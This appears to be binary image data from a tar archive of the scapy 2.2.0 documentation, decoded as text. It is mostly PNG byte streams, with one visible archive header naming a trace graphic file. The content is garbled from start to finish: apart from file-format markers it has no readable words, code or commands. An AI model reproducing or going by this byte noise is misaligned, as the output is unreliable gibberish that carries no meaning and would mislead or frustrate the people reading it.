pZw}ÇÀã´n,ØÃ{Å#kí™÷~Ω=nüK$Ê–[ŒµãHØ¥‡@/Ü^À\åA¼}—YÊ]=מTd1¤ÚHQ[A-ï+ 0–m#ØÃµÃƒG/òYÆ©¶6›[Æ©VmeÕo-à?¹ƒWnóÒàH÷=»ä•U aܧ?ÿsßZkùê‘¶EZøßo‘|Õô^Ô|ªö °Ÿ¥+À¹5–ÓÀÙ”hæ9p¶òBGã¶Ò‰o™Ó¾+ldÿÛö:­Õ†zzÉ>Àñ3gž+ÉíwZÞ µ¼–︡Âé‘ÚÈ߯&7ºoUÙ^¯ÏÛ~`8ÃèA¿½ZÙë5w$²ìU˰á¸Ü¢M‘ÅŸDY€µX †Š ijüRîxmÝ5òîžëçøùæÊ¼™ 7”wCíœj7Ú)W ×ky$” «üÌ Ä—;*ǤrÝò^{j—kª3ë¨-âóo`˜É"µÓH´›ÿÚgáÎ]¾zíŒÖø£°"˜ xT›MkCi.lÇÏÏ½ÇølØ{,°­à×ÈÅÎø¶.3—bº78&k‡@Ç—nº'^Gh`,xñUsG,¶oU¯õï ŽôÉê±°xk÷*«‘W‹¬¼Âèk ï=zïL`?ðƒâÔÈù?Ö]ná½jª° ÔùW<ç'•÷5¬Ó;' Æg«Š¦ÀŠT€_£¤ËçD^`oð"¬ 0–!ÐAà0G€8‚ À`Ž p€#ÀAà0G€8‚ À`Ž p€#ÀAà0G€8‚ À`Ž p€#ÀAà0G€8‚ À`Ž p€#ÀAà0GØ,>ŸÏçsïÑùç°Ž—T€âè÷ûý~¿¹h:óV³MŽÄÑŸ#i4ykÚ §±jýÒOIëÆB>°‹GÂ.]Vû — *Àéÿ+¼# öÀ¾ÒD³~Mxé ð7‘vô³K^©Qìâ%Û ]£i.ŽÎ<€Õˆps»ûR=ÖóÀ›¬Ÿw^R€2€#ÀAà0G€8‚ À`Ž p€#ÀAà0G€8‚ À`Ž p€#ÀAà0G€8‚ À`Ž èóù|z߉ °µ7DÓ9~逹~"ë÷ûýæDžuïºå#ñã--y† Pp÷‚ë¸VåŽäÚiyíñÀÀ‹µÄ¶¾C‹#Õ×4ÄÆÏÙ;šÎ!¯Ñ+ –cçˆêk®åãªÍ‘vFŽïÄ"XÀµ‘²ýZéëG®9ç' ^azd&µß(_î( W~_åÆjî̾!óÞë º­ €{vvhí¬×{+ G†·H+½¹GY ‹ë»ùM˶7µ5>ëu\PoyMáöm`˜fN=62¸Üª}×Y)1n73¶e§ÜMÏ*\™A€×‹W/GÔ9Gl™sO|{3]y'`¶YNifKâµÙg·Ì\á?*Àt©RÞ[ã·¥=‘«×VhGÔfË„XèCà¯Êë÷޾nüHnNi¹µ3ß—( O€Ž©Ç–‡Gâhds{Ñt…u‰Z؉ ð}á½9·‘ù3lj_K …7³À#"arÄ"O¹åš®Çã»È>»˜“° ÔQØZûN¹3ãçDŸ0Š ”`\»ÇlîHnÆì +«¾o`4°‘Ú™j_mô¾²‘ý`gîyeAx` £ö%ŽVX×7÷ŽrGz½÷vÂ*@‰ ¬Gkë´å Ú²¯lûè+3ff[:>¥Þ¾ßßÿIø9?=þÔ9p†öŠh{<yµÕêÏô´ôàoFzæ5ŽæbóÌsà®tšÜÏé³F·!w•Ü<ÒøÌÕ™³^[äÚ#0ìa³E°Òºkz$¦3Ï€˜•ÿíX9Žö]®ÉÊÆgÙf°!ǼW¤®[[Þw&ÿÖ0ʸ\ƒÝWZ7ïfyjžgí°×#éÏsÞ‘›ø³GÂn€ï-vÀÒ8k(ÚkÉ"‹-À“lƒôØÓ¾±-¾Îð³Ê³R-ÂÀ*r¥Ê•Û¼ô"X‘î{vÉ+µh`Oµ3KG\½<‹µ¼þpíÅ?V[ØÉ¿0ÛÒàÜËi༞™‹£3Ïè¡¥ÖÚ·NÛ·vš.?j×V -ç·œ9ó€¼ù±­bs?§5ÒwN¿ÃàDæ,¥¥ÖnnUáùá¶vOW»¶÷ ÀUÚ‡%玴×ZçÔiN`WK/‚pW.j>»2á:‹0åVn€7€•+¢«µ³vÍáv-qT”ø!ÐÀm«­ÇÓµ+x*Àl*Àpˆø^¯£«²½ötMÅ?»û+ÏP†ÉvßB&ËõÕÝ÷t›v%ËÅ÷}­}nnËœuâ«Írø A£7¿!²ïkäÎÜPGL`s€ÙZíV7ñúg_ël~3â}•À*`–²Ú¦8Om~3B|¯W±€w2šjÄö@{o«›Üñ–åšî&àð!V^¬¨eUáÜûJÏLÏß}5f Ž!ÐËŠ ²­­|¶·'>8~~d~ì 3fEeØ› ðƒFW Û÷k½ª­¯¹†p|,ð6ðRâ;¯–Ÿ•³æè\ sGÝ?§<3¶]m(b€ç À›UV€ÓYkY‘€š;G¸øü 1`€#ÀAà0G€8‚ À`Ž p€#ÀAà0G€8‚ À`Ž p€#ÀAà0G€8‚ À`Ž p€#ÀAà0GØ å3#¯6çÖ±tþ ™ßD>¯gæ¢éÌsXÍöC ¯qôçHMgžÀš–Àר -~íÕÜ´»¯´n,ð»Øq$ì6C ß}˜oƒ ð[£¯0ì+M4ëׄ·YºÜéO-y¥. °‹m*Àéñ\4ÍÅÑ™ç°nnw_¼žÞdý¼³ý>À!p€#ÀAà0G€8‚ À`Ž p€#ÀAà0G€8‚ À`Ž p€*ŸÏç³c»`€Ã¥öçHîø®`€¸FÓÜϽ^ÿzd§H,tT„i4-‡Õq!3wõ·U}¯`àX¹h‰+ÄÂr„.‡Ûï÷ûýÿŸ¹#÷ޝë—[XÏOTû WןWnmùHüür,ÿ‘†Ï\­ß{óÀÀPiKƒ\zþèöį48ÓhZ~n¹¯zÉUw#gîDnQWŒ×E[®›«šæ®‰²+H3·÷ÕÛÀðz÷Äæª‘ñç–”§v råv–£i¼ËÁ€Õ® \>ž{™mþqo¥ùñ¯<Ð7eÙƒ ]Äw^¹zp|MàÜñrœ·°A¼ôg4üÑè5u#»¿æ-ω´¿<à9·€Säºå#ñGYùó²:`^c~Ý5² kúgªsƒ„Óã3‡‹©ïûŒŒ>óy0¸÷¥yÎìÖr M.¯¾[ޝsÜ»®™Öÿì<;Ø~§èûÃh1l8w•ò‘Ü£å€7ztzÅ^{±Š©+žºzäSÐræ`~óTX-ï¶Z>‰¦£CH¼Ê* ®vŸçV±ÎÝ9ñçÎùìÜ› ^>^;W|†@¼Ryß™×-_1¾ÙLyûœÊ›™y'÷zîüõ·ãëiGîÆ–ÁöOm(µ`Y‘¯ï½¾Ð÷ú²ÿš>‚ºëÊwïˆû¶½måñí»4Ï¢-Ÿ‘Ñg>Ïh€×ˆo–“~A}ìåÞë ±ÏÞWsúÿÞPùÈsswÔúC s¯ï?}êÀÿüí nüY×ã?j¿€Þ«úæfæm˜¹aÃÏÞÃ÷…¾z-HÖrÇŽØÇ¸ïg' ÀÀë•ãèjË·Ä¿¾çŽôm£ï½ÈÒ_ë¯Ü~o?ûY«­£úÏ] ÀÀãr´\ÉqÝÚÊj¹ý¹W˜ãÞö9´ÜKóû¶ïPáÈýнú¤åìcÌï`à¯Ú«ŽóãÁ½/÷?ÊC@#ýÐ+ôF¾¾ûBŸ»Ó";÷ÎÄÞ~OÎ*œ»ÿGŒ’pßò ÷T}²öKmkË_îWèÚïŸù39kïÏ݇@·\ݧ‰ Àð-õ®Ü«ÅDæÖ–—eJ^«|$ò¬ÑíÜñÞ{¶þ_»iMùÑ^Õ×9÷ðèûö#À‚FoªQ»wå½H³N<°MHü®¸·êõSŸ‹öíó±»3áI0tW®g޾V¤Þ•# žv—¶ômí½×)kwaµÉ ð;‚ÚG^?òhdf¼µñZùHí+Pþ›­=§×]W»êud¹©v®¬îŽ…w€x½xÀè[ «mI9”ΜûJäïwÜ…Ì|‘ûaµ™®i«ÜÃ@” Àj·6é{Ýò‘¸Ñ_Ó[ê]gÞK϶!~Ÿï·ô tµsø¿rõlD éµÖk|Ç×^A"í"ýí·ùƒÒËí)ÿý>;ºö®sg{Û ÿDÍÈ9?q4MgžpžUÙø;‘àz}´Üþvþ]XóþÌ©©¹g­?Ú] œîß•w¯{¦óÏØYßá¾?Ï-WÉÒ[޲åŸg0ŽëýP;L·½ ¹û$ò_$×P:ÿž‰ßW‘u°EV€VKW€UVþ¯\­½:q¤U¹#93—Õ1°3wW¬_±ŒA¿ž?â}¹‹ÞÀ"XIëÆ?œð¹¯™A:çwB$ĶoÀÓwNìΙÏ9î~Ƚ‹û¾Žà_[€>v +EBißàZ»ŒÓ½%y"«Â¶¿£ÈðÎwß'ÏÖZ㳩ã«Ïß,'>]ÄàÏàǨ÷ÂsÊ&G‡Ø–íO®mNŸûlè:mOÎ{}ûT4^«€¨Ü‚Á+·yéE°âþÔ’WV†‘rªÚsÚÛP^¨©|¤¼ôNyIžùËÞìRIk_„©ïÝR»PSÚÃkösî~0€]-]Nÿÿàz$Msqtæ9ÀßÓF6Ñžòñò Ð\­lÎÜÝ{CˆýŽ}Åï“òý?ÓiµzøÏ«VŽœ?óØÓ³ë¬Æg*FÎ)/×”{/óCì»g0ÎÙ8²Sù5k«š-ïË¿ ð s€áÅæÏî«]O8w<JgÎfÜ}Øçî3?#á3PWøo`6¦‰Ç¹3¿¸·ÔÍj×}jtùZ; ]9Äî²Nß»XÝö‹`Á,÷áü™~‘%šRñ…š®æžÛK$”î;›±ü÷ÒëÎÉÝñ{£åïnÜ}Ò^_àD*À¼Ø½MËû^¶´¤üsùYåGË3]Ÿú¢ÿŽ*ë½;môµ"wBù~°ù p"˜ÌY„)wÅܑܣ¹3×¶0r|ßøôTü«­÷¦÷Ã:ÿÁÑ~GÌ&3Ôú‹0Ý[96¾Ó³Ÿ¼;x”ÿ³`ôŒÓ{s\Ë+QþìØü8Ì_ŃĜřÒã÷aºŠ<+Òeµ3Z#¯sÚ]×rõ]–i…J¬ PÇ"XGiÙ¢¦ö*½Úyv¦ÜËž\g›SåÎÝ·¹;­<_úÙ9Ҷ̘Gxq÷mêuÝòñø°Þ5aêû,æÜuñ¿µ™›î¸Cö ¿^ߪoËàáv¢iíßûœ™¥½†G†÷šSíÎ8‘¼ öE›â›âÄÜ#fäþ~ß´ÍS³aíò @xAí‹6kO¯3÷•þwÀS›EÚʾò§à´{ €Qà£D†ï0â±sf@-GÓ«LÏý¦û€7³ ôâÞ½)N|pu..Ö¾NK;ËÕÔÜ*Ä‘¡éÏ®E §Pæú‘3ë5¾3pí;-¿Â:C #­³8—übk¾^1ý9VËUßx”OÞ%ž$/(·ÑËÌ jîxüºñʵaµ¼rõèáЖ€]™ü Q-75G#m¸7C5}֜ʧ€ ü™ ð""õÒÚ¥•ʵâq{ÿÆÝ «ï[¹ÖT :'5ô¤¼ì-UŽy£× îûúf½@/µkåDö49… ðã €·ÊÊŒï-òT›ãÇ#¯³Ê»€d¸/ÌT^fµ|fäÕzµ0~¤6ÄFvf©½br€$ÊÀå]EÆ]1ý9r~¹ Ù¥6Äž’M``ñ3Û‡×ÖÖTËW¯­…®<:Þªý–ŲPй-9ËÏÝòx%6·‘gùxùÈ‘årËï«üjo&ÀëåBà³õzÅòus»ü åP:z_•ôй¶™9!Ððˆö¹—ãfo¶ N-?77[õjÄèòë·ÔKÚu Àð›r°,‡´Ú%ˆF¿‹Ü‘Ú%š"‹0Å{c~Dœ38™Õ À¼@|Óšg÷&×BÛ_!²Jp$ Îÿb¹Cà‘:jz|f{jƒ_mMõÞûš_M Ž\y’ À­?¨õÞ¦5¹ãñwÔkôS•ÕÈŠÁðN0À DBW<Ô‹@‘È«‘ȺÚè«K7%0Àd‘Á½‘Yš¹çŽhazüÞ\Öøz¿ó‡@ǯUû¨˜ «€nËUY¯Gf¶á^p[mtÚ¶ÈqqÎ%G‰ žYS-?Ú¾QÍõxíèÑ3T[ª¬wü« €=Ev4á~^3²üÒõÌtÎêÕõÑòbE3뙑Vn@O*ÀÀPµtÄÀÚÚímÊØ#UÖÜsÇiÙ¨f~kž!ÿÔǶ5·½‰×~çŽ\=wŽŠ+@†@ÀvÊ‘/ÇÍðÌ ¾÷Üò@âøÏ#Bc®=*ÀŠT€`)ó+«ñÍlâgF¶ºÉ½¶°aÀ瀠 ²Oi|Mݾ-‰ïÈÚAsÇWÛö&ò3§€x½§¶½©maîH:¤öÚæôçë³âï}Üpè–¾_èI`i˼H´ëÛ’ò9µçGVžüj¯(š°€î"uÈÑ1¯×¶7ë N¯^þ9r]!€³ÀüQ.ÚÝÛZ¦|•È£‘ŸË‹0­<º¥€(àÚ#\¯8b)¦ùC Ó6Œx˜MxPyù¢ôÌÜ£}ÛS>R+>ú©E˜ÄT8… p[í º}ƒV|GÖø+DÚ}/ÊF¶Þ±½ pß¿ºàžÏg\¥‚hÿû[Пµï26·ï Þ{-¹žºéf9eéùµ¯PûÊé9>ã>ÝzR¢'õ$ó¨ßüx|¿ßï÷{ýYÏÀèOÞß‚Yí¨ííIŽ?+²ƒkù¹£Eê±;Q®ÆÝk Ö?œüÉøÛ ½Ï~F"ÝÜ»ˆÝ–Šk/½j¶e{g``Y‘¡¿ñaÌWåúpy¹¦Úy¿eñ­*@+Ãwk:+3à9>Z­8ÁšIÓhŽ`ôTêí¼QËÂNìeÜ"£SZ/’Ýù · 4Àn„·»'úlE„àÁà0G€8‚ À`Ž p€#Àû|>ŸÏG?´÷R¯sNèÉ+ýÙÞ‡åþÔ“½>ézÒ=ùTº'Ý™îL=©'ûöɳ}+?|}¿ßï÷ëëoûǣܓzûÚWioèϲo†;sÎÝ«'[îL=¿ÓüžœsOêOw¦žÜ«÷â=ÜÒo£ûV~øã÷sÄ×ßH/ÝëI½Ý÷ÎÔŸ‘~Ó“÷úÐ=éÓ½&Ÿîq÷¡þôד;öɸ~›Ó·0‹*ÌП+ˆü“€>œßŸ¾ÎÐËûþþå/Î$x´÷žždåO´;³ýÓýCޏ?‰ËUÀôg¯žä40Ç‘våÙ•úÇ}øì݈O7o’»Ý™}?ãzæ†@ÃAücÉš÷dZQ×3ð¦Ï¸w€uÀˆLø¦WOêíø»ÖŸñžtgöúü¦kÃŽXBÃ=©'ûÞ·zRêÉùm¹þ8§oýúXâ£èo¡ö—Ô½@'÷¶þÝŸ‘í=ôd¤Wõ¤{ROžó¹ÖŸîL=¹c•{¯W¿ë[_¹8‚!ÐAà0G€8‚ À`Ž p€#ÀAà0G€8‚ À`Žð?ØGS^FáIEND®B`‚scapy-2.2.0/doc/scapy/graphics/trace3d_2.png0000644000175000017500000017140111170743163016707 0ustar pbipbi‰PNG  IHDR )Ä 8ÐgAMA± üa8tEXtSoftwareXV Version 3.10a Rev: 12/29/94 (PNG patch 1.2)Ý.I IDATxœì½y¸­G]çû­µ÷>'°}P¼ÈŒx 0鋶͵û¶­mߦ¹ŠSƒHHB ƒaÂ(F&dGD;s²…F@$£2‘霳÷^óªûGíªý«úU½ë]óÚk?Ïû¬ç]ï^«ÞzkïœúæûûÕ¯B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„B!„iaÝ=¬µ‹îÂ*`ÌýN !„2)TH“Ã1$„B¦Âú¢;0k­ôE¤׳k¶©U…1&{±¢µÒÇêt¾f›#u‰B!+BÖÿ°ÖÊëÉgÜÛìÅêU|¦ÔšŸOz;´óõÛ¬ãÑC"„B¦BcѨ"1`æÐfö§ãuc'„BÈ|Xê([ý8ÔTÚO•~:IçëDô(¿!„Ù±Ô I#3„Ây’64žt‘,6Tß ªþd¶ó#µY:'„BÈÊRR CóuFÍCªÓfýχL˜ÀT¿ÍН3‰B™ ûÌCZNæŸ/E!„™²Ô™ÚÕÔÔu¬šQ¿•¬P›J÷Ð6éB!sc‰\ŠjÑU¨N!ýáê6KŸ¬h³T¦¨~çÇk3+Ëè<B!«ÆŒ<’Y4»´mÒg"„BV Îî“Ã1$„B¦Â>ÎC"„B™TH„B!)TH„B!)ËU‰i4„B!û 8B!„Ê#B!äàÀ<$B!„24!„=$B!„2:4!„ƒ=$B!„2"4!„=$B!„2 4!„ƒ =$B!„RH„BÈ…!„B© $B!ä C‰B!„Ô€!„rÀ¡‡D!„B†A‰B!ë‹îÀ|ùg å¶8é}à×Ý=B!„,fј#_¶€-`[($§úÀèþØsÆ„B!9†øp»—Gáh甆 vO6€ à‹î3!„BÇPH7wa´ l;@ÇH±´'’Þ´èžB!dA¬´Bê×{yäTQxm +ä‘TK`8 œ\´è§ „BÈÜYéLí[½$Ú'M ã¬HZ,°ôý„BY«ë!Ý |8l)‘Ô ©£Ü£ NŽ.úY!„2_V×Cº8î…Ñ–±íÄòÈÎC2ÀF܈SN„B9`¬hMíkãÂ:ÚöiÚîbSÛe%4ž?×¾B!dᬨ‡t»ÈÎÞñ )›ä^³e´­e6!„rÀXEéjom‹ô£ÔõùFÖ¿ÚéXgΣã„BYVQ!÷15™ í–÷I”XåœuB!„ŒÊÊ)¤ËbiG¬\ëùkY…ÀTê¤Ï£û„BYVN!ý˜Ï¼v¾Q7—u¤E’ÔF4“!„Ï*fj·¼o$å‘óB”m  $Ä"Iè${¡ÿйóy€}wÿ%„²ßYE…ÔöYGX'õrò(IB’3»872h_×#ìg¬Í® $„Bö«¨ZB!I©¯Ò NBJN>pín¬îÀמâ7¶ á`íÕY³ÄZ«¯g/&çá“õ/V3^—ª?Vóë„BÈ~duR[ÙHYyd5ÿE)’>òÏÀ½¾’’kt D¬ý<àßÿ[Þ<ë  µUµáÞÖ¿8´ñ1ºTý1E„BV›•ËÔ°æåQ[-d“G…ôñîŽ÷÷ð í~ÙÚÏóƒþúcw>‘U3#èB!c°ŠÒÙÀsÔÎk! I#çúÏÜ |¸×ávU•§y[cåÛêú&aíׯÖ"ÙÏL®B&Tl”G„B,«¨“GƒÂ'8þæVà!ŒB)nøô#ãÝõA·¯óÀÃëBÛ㉉jYãm{Ý/·? C‹òˆBÈaERØZÃê@yô¹{€¯Æ{”‘¡’:ΛrÁÊ’IU'} ’\#‰B!£²ŠyHÞ !^K…„›}î-bÛò™Ú}q„T&HoÊÚ­½Î š`óX¼˜Åi-ôÅúdï^¿KõÛ$„BVŒõ´ãZø‡¯‹Ü¤Ôàu‰$Ú0@X³öÚ Ðf¼2­ˆ˜üJöîõ»”…ö!„ŠzH> ´kØH»×o¹GÛ±ä’ôúÖÞní¬½ÕÚ[âGXE/=Sºèò‰dÁ¾N©Kò„B9 ¬®‡ éµ‘;ôï®_úyàNYÛ‰$·È¢Pä°Æ|—W^A‚‰VÍ#t_»%©l4ÒZ¶Šë%_§ÎEýõú~!„²b¬®‡àï|éÈl ­žþXl É“–WHV½–p?}äÐÞÍBaLØ&E!„âXi…àR  ´Äƒ:ÇgÍ+¤+.÷îQ¢Ú~%ÐC‰<¢˜ „BV–UWH®ú¾²cC{ùFN5½6 ´ë»Gu>@!„}ÀJç!6'‘™´›¾Ýv|Fv»vnB!„¬2C!9‚N ×à÷¹m‰nÃkß§fÃÚÛÚuB!„Ì•ƒ¤›Éû–²ŽÂádÔÀ˜ï¥R(¹¬âĽò¯îxíL…‰!„qðRJ?IÁ@ê…µýA*ù'JiÖË=hm œìï¿:Ý~SB!³ƒS,€WGý𷦝£Ý)È#œÓÒ›€{E¥–×IQjÀYÓê4!„2;è!Á'!u¼  Ù±<’$ÒäõÀ¢ÎdÈûîÇÇ8X^1a)!„™B…aöH‘TZÈ–TŸüpK,Bi¥®ßævë$/Ö€×Ïéù!„2"THð’IÝò"¹îG€¯‹àÚŽ8Z¢¢Rß¿J‘´< 8¼uÔîÒ@"„Bf €‹€§‹×J»¸9‚<úp#pTi£ÆŠ*I…Ôó7: œàê B!dÙ85µëbâcèÇnî;–$!¶¦?ôOÛ|è­œ>R/i B!s€ Éñ!¢ÒöP òà[b·äh 3)I=шA7B!„,TH¦±•’4¶…<ÚGS;ñn¸ƒ¸5— ÞΨÙEH„BÈ| B ü9Ð")‹ûÑ;ã*;[Húh—ïki#B!Ë’¤)œ$M¸xOAm‰‚“í¸¨R5¶N%IH„BÈÜ B’\êw±MD’ÖüñMÓKØZqIy”°þu¨Š"„BÈü BJ¸¸Òo[ë·0jøcKH;Ê1JŽŠÜeõЋ+ºE‰B™'THY6kÇ…´H-±åm¨YòŒ8¡iD!„,/¬Y‰¤Å4WÀ…á¶}éín\2ë!ÙX…“º"‰!„2gè!U³ \ã«Yà -|£àu…‡¤$GV$Éj B!dY ‡T‡Mqî<¤°Á­”J6öÂ@ hd1D‰B™?TH£Ò‰=¤hëä‘öÂ[¼Ìë-÷zŠ_}àYó~8B!„ BC^Á´ýIHÓ.)¤°=mb ½Ìo|Û"©åƒz}àõÖ¾!„28ûŽÁÙÀ–·µ|I©’ÝEÖ€ `]¼¾ ¸+®ÄíêLv…< ‡«ÆôªÅ<+!„r ¡‡42ÊÖRimZR|òà!ŒÂ^%-¯z9‘t°¼qÏG!„x¨Æ %äQ·†< Ç'€ÛÛ…6’»Û†|¦¾X׋¤gïšë³B!’µá!)Ÿ§LI!5ÄŽ%?|+ެÉÊ“2e»- ª¶—b®påWÏói !„=¤ñèÇæPE:WøÀß¶|ÊQ°ŽÜyG”±6÷ê2™^B!d¶ÐC/¬H>éÜ£O·ÇbiÇÛHÁ7jÇ6’óôÞp'WÍõq !„kj[¿Ví!…ŸÞÂh[쀻íWÃ5½¥ÔôŸlåÚ=à¬>!„rà¡B›¿ôµ‹†*¤‹{cßh''’£S¾µe¬B™)TH“à¤L?§ŒßéÀ*²æŽ-±œ­éÓ±{•yßáú8{&ÏD!„*¤É¸h‹p›Ãˆ„¡pQ¥]Ô÷¸•GEö·ÓI¥Ì'B!„L ײMˆÛÔöDju›;Žç $é ‘T²—!„25¨¦‚ÖI eÛ‰RSìæÖ…µ‰”6âŽ1„BȬ Bš"A'¡Óð«÷µ6rulY!A‰$C‰B™THSg3~ÛE±“£WVHRA½ ¼ ø½> !„rP¡Bš5±£H'>´B…TG$1ÐF!„Ì*¤YÓð )DÖ¤‡”•GÖ¯1Ô")œüšW]ÿ—¨ÄÝ~uH!„¬4!æÀ«{½Nj‰¥þƒ²BZ6r¯¯;ÝÊ-JºbÝpÆ¢™BÙßÐCšɶkÁIÒIHGÖÜë[»â­Kv|ƒ=±=œ;^¬/_À³B!+Òh© $™„¤ÑÛ˜¼ ¸ÃØ'M%¤“ô" œ;G$„BV *¤9`”<êÖØX͉¤Ow*y´ã÷* ñµ^,‚HjÏÞ>óG$„BV æ!͇_ˆmNÙ”XÖuà/Ûü¶n;b·±»mG)$ùöààð¶ù=+!„²ÿ¡‡4ºj7’ Âgîî¶”<’õ'»‘Ô6DèB!#°¶è¾ <@Ëb€5` øcà[À1_ ’t¤\ªSÛ¿ö|#.жœ \5¿Ç%„Bö9ôæFX‹m¤ì"á§wGsÚHHQ`©`#n“6!„2ôæÆõÀ÷Àx)«œåó>_K’4:ÊFjÖ»GkÂFr¯'WÎû¡ !„ýIcÑ8P„ôêl*’þúÝqp­éߺ£¡hdõú¸>pöL‹BY9e›'WžàÃm$‰ûíÀ=JÉ› ¨é}K*À_•-¿D!„zHóçŸ0ï%DZØ.J õâ2ÜIIîD$YñŠB\B!)ôÂ&àDoüäγ‹×ÚbaI!%ûÝRB!cBil›~ÿÚ°‹-üî¶Û"o©oWÒó‰Þ%I¾œüzéüžBÙ·ÐCZ8›êÊé@Ë—8êÆ{•t+ClŽ ‘D!„ZP!-!-´cm¤ClƒœŠ$B!dB¨–P⨓ ±eå‘­ÔC¦pN!„kÉî"ƒrˆÍý*µHz%° õÅÚB*…âÞ4€ÌÿQ !„å„ i9i ÷¨]NÓ®æíÀÝ~ï[]8 o£ÛÎÀ9óx>B!d¹aVÊrr°íÍž–p}JªÈëþØÖßî¶Ô¶n;Þ=Ò ©/öq{ý\—BY2è!-'IRÅN·¹iɧ€{üÆ·zËÛ¦(ªÔÚ(&'’ž ¼c~K!„,¬¹œ¼€=C‘ énàNà(pØò»—ìøRÝn§[m,…q- œ6ÛG$„B–zHKKKìC2T'…Ï|¸8êí"i…]o;¢º’ôz€6„½D!„Pè!-- ´ê)$ù™{€c^mÇæÐŽßÏDj&yôD›N3=æOI!„,%ô–™¦Ï›(›Š~úà[ñ®·M•ÔQ6’ÌцØï¶k&B!äAi™ù¯lPi#II&ei[ìƒÛŠ_Ýç“ÒJA‡õ3gþ”„BÈòAiÉiy©‘SHR6]Ü« ¤¦ÐF‰{Ôõ Ö”»Èl$B!zHKÎÕÀ•¾*RÀxÙÇ•”ÚZ¢Vä Þ®DcÅ kmB9pÐCÚlN ¸¹ãÀ±œŠhT=nV+Åí&„BV*¤}DÐIFè¤Јk5…H 1µ’< ««B!{P!í;œNzB|±GÖäVnnÁZyDR’¯M!„8¨ö)×Äo[bû¶n,º• 9‘T*+@!„¨VƒŽWH%´‡¤Ó´³¯5ËyB!+Òj0’^Õ߯TH%yD!„\¨VƒÐöò()œÝUªH¾­@ФK|ûá¿:Ûg"„B­‚•á•ÀQ_9©íOš~![V!ØÖs¯¯[¹%Ú¨ô>0 ÷n#„²’°bäÊà’¤$ gË£_™£ à÷€cÀq` 8Ü+Žã~“mà8p/ðÛ xVB!dÆ0ʶ2t…<’·~9 ¦“Þ ŽÆõ¸CIî¾Xòd¼hçÎïY !„C…´2üà[ÂFêŠuþ%äRµO÷÷Çâ½JByî¶WE=%•@80ÀÛæô¸„BÈ,aÒ*ñ‹B!…×AáÃXÖýñ~ਗGA…£Çìúñ‰s’Ö€#À…s}hB!d0i•x?€B™l,wôGÀQà`+ÞÜm'޲5ÕÅpÞ®!„²ï¡BZ1šjoµ’Ì=Ê-!’´N ©NÎXâê6B!û*¤ãÓB$U~ x¯—GÍò¨¥ ¤Hu "‰BÙßP!­M/’PVH&6¶EîQEˆM‹$Ë#G8c†ÏG!„Ìfj¯$'ù,l—^à„Ñšµ—/ k+‡1üˆBV®ö_I®N:Àš¸hÔcžW•Lj¹EjáH¶+1@ÿ6ÔyøÚB~žX[½s !„ý Òª² 8@N…¥¨¸‘µŸß7æ¡AYûMÆ<ÐýÈÚ;“›ó}¥~H ‘Ø-ÖZy¥â“¥–õÇê_ÚO­~hBÈÁ iµÑ:)˜=n²ß«iíçùA¡–n4æ!¬ý¦1ÖÞnÌkÌwŠÖŒµ·•n¯5Px›èŠO–Zžäb~j=7´B!+3µ›À5"pÖ ÐäEˆ°šûéÀÚ›ù^÷Ö˜Z{GÒ´µ·ó wZ¿CuLQ¿>¶{4ö !„¬0ô›¹‹{ ɘÇÄYGð¢G¯Vsko7æ{*òýKªb hè×ë_£?”G„rР‡tÀ‘–Ò^F¶µ_w‘5>5»¤“ZCM¶Ÿ2qjá=$„27¨8‰<ºÁ˜‡Ä‰JP±6Gv÷·Œ€Ø/Âb¿ô“BÈ| B:à„([ßÚëùþ$ɘû[û-c¾ €µw󀌵ß2æ9ÉX{½1¾Xûcžœâ¥˜‹Ö]]Ý'-Vf!_’…u³Ëò&„²ápp±ÖóX çÒÉœ0¬µw0æ;ÂO¬½Ë+¤¨n¤µ7ùïþ0°öïU›?XYx ªþPi™}©R@¶|QÅEÝf©ôÑÐMTQ„²ªð÷ƒ‹µÖ˜GIÉ»GÁìA!/;TT’ éG€.зö¯ŒùqU•Ûª’ܾ4JWgè!-¶B!Kÿq?¸XkyDY!•0J= è:y$Ž^¼P.QHV´öÕy<íl B"„U…yHœ5 Û<5—µYp’—G½X!e=$«%ÇÃ×OùÉ!„  B:àü ðÑ­Äðù' ÷(«J!iµÔˆwØ%„Bi½Q>äÑÉÃÜ£j…äN\Àή›þÑe…E8I†­Éò@…t á,EçB’À‘ÈRA…tp‰ç§ÿ¬= tʮҰ¬îŽ[@Øš@ hú£t€nüê‚qÎsZ6€ à°ŽÊ›1ú’ÝõÅQ]š¡ÔÚH_¯ó'7Ÿ6K !sƒû²‡“5ƒÊœ$#ŽãÀ–FáØGL-q„ërF ezÀY{W)‰Ôp°-Œ¤º5ýõŠêsk³t#BÈÜ B"ŽK½ÊéçDÒnAH/Þ Sò¨©äQ8šâ¤YX.ç’“ú3P²¬Œ¡‰§(£—¶æV©åY4K‘P!‘ÀÕÀ@KÈãš5„B‚—G;‘ÔÌHm¼ËNáŸûp6h H†BúJõWª£oŽšwŸ›CC‡I„Ìæ!‘„MÀ‰¢&dr\W¨«¥ŽÏ7ê‰ Ý¥bKÕ[ä’ƒKÆ’š@†¢ê4UÚ†o->ë6KÝPð!™5TH$KÐI µÇÈvÙ@jm ›«)Rø—Ý*yÔš`nð÷ÒGÇ˲S§;"d!”þêË‘½TÝàH̡͊‹Óº#!¤*$RÁ&p"àJq±•FråZ¯†<’¯Ñ7ºÎ/ Ó"©#–Ë àÅ Ùçì—ì¢:Ö!dÎP!‘j6Õ•s½#4JÇÝJ…¤å‘žÞXžn¶„< ÙN‰<’¾_à5Ó²(‚\¨Ö C£]æƒ/I›O„Ì*$2*m‘T‘<úe…„’0Æ1`Ë—Hä‘Ì|’õ–‚H2À™€7OsÈ´ iF2´$óÂI)Z''%éÌzå¼þdØZT›¥‹Ù¯Bf•^¼<­ëƒkáH¶§M¶`“µþé¿À˜³Õz…´•ÓFî¼+rÃ{ÊLr·xðöY›úKº*’“¤nšÃ´ÌmV¨fj2¸ÚŸŒJ7VH‰ÔË)•$Í(eÓ'ŽcÀqà8p ØöyâÛ"U|'.G)ÖíøÚ@xþ¬F…,³Ð KØ&å!s€•®ÈûiûÅk]±]‰-ÛH(¤"¹˜Â;Œy>p(¾³ŽŽ©2Kò5»±‰ ºmˆ‹„BÈpè!‘Qé)I†Ûz©W™©½+’žüäož|òÍâ^·ùô#m%Õ)[e'Éa}7ΘÏ0BÙ×ÐC"£òLà7¼s#²9g 